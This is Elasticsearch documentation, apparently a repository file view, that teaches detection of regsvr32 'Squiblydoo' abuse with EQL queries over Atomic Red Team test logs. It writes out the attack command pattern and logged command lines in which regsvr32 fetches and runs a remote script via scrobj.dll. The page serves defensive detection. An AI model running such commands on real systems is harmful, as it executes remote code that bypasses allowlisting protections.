detect-threats-with-eql.asciidoc 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401
  1. [role="xpack"]
  2. [testenv="basic"]
  3. [[eql-ex-threat-detection]]
  4. == Example: Detect threats with EQL
  5. This example tutorial shows how you can use EQL to detect security threats and
  6. other suspicious behavior. In the scenario, you're tasked with detecting
  7. https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event
  8. logs.
  9. `regsvr32.exe` is a built-in command-line utility used to register `.dll`
  10. libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status,
  11. letting it bypass most allowlist software and script blockers.
  12. Attackers with access to a user's command line can use `regsvr32.exe` to run
  13. malicious scripts via `.dll` libraries, even on machines that otherwise
  14. disallow such scripts.
  15. One common variant of regsvr32 misuse is a
  16. https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
  17. Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
  18. register and run a remote script. These commands often look like this:
  19. [source,sh]
  20. ----
  21. "regsvr32.exe /s /u /i:<script-url> scrobj.dll"
  22. ----
  23. [discrete]
  24. [[eql-ex-threat-detection-setup]]
  25. === Setup
  26. This tutorial uses a test dataset from
  27. https://github.com/redcanaryco/atomic-red-team[Atomic Red Team] that includes
  28. events imitating a Squiblydoo attack. The data has been mapped to
  29. {ecs-ref}[Elastic Common Schema (ECS)] fields.
  30. To get started:
  31. . Create an <<index-templates,index template>> with
  32. <<create-index-template,data stream enabled>>:
  33. +
  34. ////
  35. [source,console]
  36. ----
  37. DELETE /_data_stream/*
  38. DELETE /_index_template/*
  39. ----
  40. // TEARDOWN
  41. ////
  42. +
  43. [source,console]
  44. ----
  45. PUT /_index_template/my-data-stream-template
  46. {
  47. "index_patterns": [ "my-data-stream*" ],
  48. "data_stream": { },
  49. "priority": 500
  50. }
  51. ----
  52. . Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`].
  53. . Use the <<docs-bulk,bulk API>> to index the data to a matching stream:
  54. +
  55. [source,sh]
  56. ----
  57. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  58. ----
  59. // NOTCONSOLE
  60. . Use the <<cat-indices,cat indices API>> to verify the data was indexed:
  61. +
  62. [source,console]
  63. ----
  64. GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
  65. ----
  66. // TEST[setup:atomic_red_regsvr32]
  67. +
  68. The response should show a `docs.count` of `150`.
  69. +
  70. [source,txt]
  71. ----
  72. health status index docs.count
  73. yellow open .ds-my-data-stream-2099.12.07-000001 150
  74. ----
  75. // TESTRESPONSE[s/.ds-my-data-stream-2099.12.07-000001/.+/ non_json]
  76. [discrete]
  77. [[eql-ex-get-a-count-of-regsvr32-events]]
  78. === Get a count of regsvr32 events
  79. First, get a count of events associated with a `regsvr32.exe` process:
  80. [source,console]
  81. ----
  82. GET /my-data-stream/_eql/search?filter_path=-hits.events <1>
  83. {
  84. "query": """
  85. any where process.name == "regsvr32.exe" <2>
  86. """,
  87. "size": 200 <3>
  88. }
  89. ----
  90. // TEST[setup:atomic_red_regsvr32]
  91. <1> `?filter_path=-hits.events` excludes the `hits.events` property from the
  92. response. This search is only intended to get an event count, not a list of
  93. matching events.
  94. <2> Matches any event with a `process.name` of `regsvr32.exe`.
  95. <3> Returns up to 200 hits for matching events.
  96. The response returns 143 related events.
  97. [source,console-result]
  98. ----
  99. {
  100. "is_partial": false,
  101. "is_running": false,
  102. "took": 60,
  103. "timed_out": false,
  104. "hits": {
  105. "total": {
  106. "value": 143,
  107. "relation": "eq"
  108. }
  109. }
  110. }
  111. ----
  112. // TESTRESPONSE[s/"took": 60/"took": $body.took/]
  113. [discrete]
  114. [[eql-ex-check-for-command-line-artifacts]]
  115. === Check for command line artifacts
  116. `regsvr32.exe` processes were associated with 143 events. But how was
  117. `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line
  118. utility. Narrow your results to processes where the command line was used:
  119. [source,console]
  120. ----
  121. GET /my-data-stream/_eql/search
  122. {
  123. "query": """
  124. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  125. """
  126. }
  127. ----
  128. // TEST[setup:atomic_red_regsvr32]
  129. The query matches one event with an `event.type` of `creation`, indicating the
  130. start of a `regsvr32.exe` process. Based on the event's `process.command_line`
  131. value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`.
  132. This fits the behavior of a Squiblydoo attack.
  133. [source,console-result]
  134. ----
  135. {
  136. ...
  137. "hits": {
  138. "total": {
  139. "value": 1,
  140. "relation": "eq"
  141. },
  142. "events": [
  143. {
  144. "_index": ".ds-my-data-stream-2099.12.07-000001",
  145. "_id": "gl5MJXMBMk1dGnErnBW8",
  146. "_source": {
  147. "process": {
  148. "parent": {
  149. "name": "cmd.exe",
  150. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  151. "executable": "C:\\Windows\\System32\\cmd.exe"
  152. },
  153. "name": "regsvr32.exe",
  154. "pid": 2012,
  155. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  156. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  157. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  158. "ppid": 2652
  159. },
  160. "logon_id": 217055,
  161. "@timestamp": 131883573237130000,
  162. "event": {
  163. "category": "process",
  164. "type": "creation"
  165. },
  166. "user": {
  167. "full_name": "bob",
  168. "domain": "ART-DESKTOP",
  169. "id": "ART-DESKTOP\\bob"
  170. }
  171. }
  172. }
  173. ]
  174. }
  175. }
  176. ----
  177. // TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/]
  178. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/]
  179. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  180. [discrete]
  181. [[eql-ex-check-for-malicious-script-loads]]
  182. === Check for malicious script loads
  183. Check if `regsvr32.exe` later loads the `scrobj.dll` library:
  184. [source,console]
  185. ----
  186. GET /my-data-stream/_eql/search
  187. {
  188. "query": """
  189. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  190. """
  191. }
  192. ----
  193. // TEST[setup:atomic_red_regsvr32]
  194. The query matches an event, confirming `scrobj.dll` was loaded.
  195. [source,console-result]
  196. ----
  197. {
  198. ...
  199. "hits": {
  200. "total": {
  201. "value": 1,
  202. "relation": "eq"
  203. },
  204. "events": [
  205. {
  206. "_index": ".ds-my-data-stream-2099.12.07-000001",
  207. "_id": "ol5MJXMBMk1dGnErnBW8",
  208. "_source": {
  209. "process": {
  210. "name": "regsvr32.exe",
  211. "pid": 2012,
  212. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  213. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  214. },
  215. "@timestamp": 131883573237450016,
  216. "dll": {
  217. "path": "C:\\Windows\\System32\\scrobj.dll",
  218. "name": "scrobj.dll"
  219. },
  220. "event": {
  221. "category": "library"
  222. }
  223. }
  224. }
  225. ]
  226. }
  227. }
  228. ----
  229. // TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/]
  230. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/]
  231. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  232. [discrete]
  233. [[eql-ex-detemine-likelihood-of-success]]
  234. === Determine the likelihood of success
  235. In many cases, attackers use malicious scripts to connect to remote servers or
  236. download other files. Use an <<eql-sequences,EQL sequence query>> to check
  237. for the following series of events:
  238. . A `regsvr32.exe` process
  239. . A load of the `scrobj.dll` library by the same process
  240. . Any network event by the same process
  241. Based on the command line value seen in the previous response, you can expect to
  242. find a match. However, this query isn't designed for that specific command.
  243. Instead, it looks for a pattern of suspicious behavior that's generic enough to
  244. detect similar threats.
  245. [source,console]
  246. ----
  247. GET /my-data-stream/_eql/search
  248. {
  249. "query": """
  250. sequence by process.pid
  251. [process where process.name == "regsvr32.exe"]
  252. [library where dll.name == "scrobj.dll"]
  253. [network where true]
  254. """
  255. }
  256. ----
  257. // TEST[setup:atomic_red_regsvr32]
  258. The query matches a sequence, indicating the attack likely succeeded.
  259. [source,console-result]
  260. ----
  261. {
  262. ...
  263. "hits": {
  264. "total": {
  265. "value": 1,
  266. "relation": "eq"
  267. },
  268. "sequences": [
  269. {
  270. "join_keys": [
  271. 2012
  272. ],
  273. "events": [
  274. {
  275. "_index": ".ds-my-data-stream-2099.12.07-000001",
  276. "_id": "gl5MJXMBMk1dGnErnBW8",
  277. "_source": {
  278. "process": {
  279. "parent": {
  280. "name": "cmd.exe",
  281. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  282. "executable": "C:\\Windows\\System32\\cmd.exe"
  283. },
  284. "name": "regsvr32.exe",
  285. "pid": 2012,
  286. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  287. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  288. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  289. "ppid": 2652
  290. },
  291. "logon_id": 217055,
  292. "@timestamp": 131883573237130000,
  293. "event": {
  294. "category": "process",
  295. "type": "creation"
  296. },
  297. "user": {
  298. "full_name": "bob",
  299. "domain": "ART-DESKTOP",
  300. "id": "ART-DESKTOP\\bob"
  301. }
  302. }
  303. },
  304. {
  305. "_index": ".ds-my-data-stream-2099.12.07-000001",
  306. "_id": "ol5MJXMBMk1dGnErnBW8",
  307. "_source": {
  308. "process": {
  309. "name": "regsvr32.exe",
  310. "pid": 2012,
  311. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  312. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  313. },
  314. "@timestamp": 131883573237450016,
  315. "dll": {
  316. "path": "C:\\Windows\\System32\\scrobj.dll",
  317. "name": "scrobj.dll"
  318. },
  319. "event": {
  320. "category": "library"
  321. }
  322. }
  323. },
  324. {
  325. "_index": ".ds-my-data-stream-2099.12.07-000001",
  326. "_id": "EF5MJXMBMk1dGnErnBa9",
  327. "_source": {
  328. "process": {
  329. "name": "regsvr32.exe",
  330. "pid": 2012,
  331. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  332. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  333. },
  334. "@timestamp": 131883573238680000,
  335. "destination": {
  336. "address": "151.101.48.133",
  337. "port": "443"
  338. },
  339. "source": {
  340. "address": "192.168.162.134",
  341. "port": "50505"
  342. },
  343. "event": {
  344. "category": "network"
  345. },
  346. "user": {
  347. "full_name": "bob",
  348. "domain": "ART-DESKTOP",
  349. "id": "ART-DESKTOP\\bob"
  350. },
  351. "network": {
  352. "protocol": "tcp",
  353. "direction": "outbound"
  354. }
  355. }
  356. }
  357. ]
  358. }
  359. ]
  360. }
  361. }
  362. ----
  363. // TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/]
  364. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.sequences.0.events.0._index/]
  365. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
  366. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
  367. // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]